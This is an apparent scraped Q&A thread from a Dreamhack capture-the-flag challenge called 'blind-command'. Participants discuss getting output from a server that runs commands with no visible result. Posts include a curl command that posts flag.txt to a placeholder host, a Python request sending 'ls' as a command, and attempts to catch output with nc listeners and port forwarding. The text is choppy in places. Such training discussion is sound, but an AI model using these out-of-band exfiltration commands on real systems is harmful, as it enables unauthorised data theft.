blind-command

curl -F “filename=flag.txt” http://ip:port This doesn't work, is there any other way? The curl -d option is now available for this issue

When I sent it to a post, the command was executed, and I wrote it in Python as shown below, but I got a 405 error. That was fine with the other problem... import requests url="http://host1.dreamhack.games:12584” res = requests.post (url, data= {'cmd': 'ls'}) print (res

After solving the answers, I deleted the question because I thought it had leaked too many hints. First, take a good look at “An environment where execution results cannot be confirmed” in the course Before applying it, you can read the other questions about how to apply it. Hul~ It was difficult because they were things I don't usually use, but after solving them... It's not that difficult. hehehe

I had the server use the NC tool to send an ls command to host ip (public ip) :8080, and the host listened to NC, but there was no response at all... haha I watched the lecture, but I'm not sure why it's not working, please help

I connected to host1.dreamhack.gam23376? cmd= [cmd] only appears like this, is this correct?

Please give me a way to bypass get method.

I wonder if port forwarding is an easy method to follow without knowing how to do it and get the results of the command.

Whether I'm using NC or curl, it doesn't respond when I bypass the method and input.. If you try running the same server directly, it works great Why is this the case? Any hints would be appreciated.

I sent two requests using curl and python to check the results of the system command (os.system (cmd)) executed by the server! However, I don't know why the result value of a request with Python doesn't come... S_METHOD contains a method to be used in place of the GET method. The request via cmd1 was not answered, and cmd2

I got NC for Windows, opened the server with -l -p 1234, closed the file contents, and tried to see if the response came, but I couldn't get an answer. I also set up port forwarding on the router, and I tried all the methods from the beginning. It's frustrating that there are no answers. So I think it's a blind-command. Also, they said it's easy to use the DreamHack Tools service, but is there anything like how to use it? sewage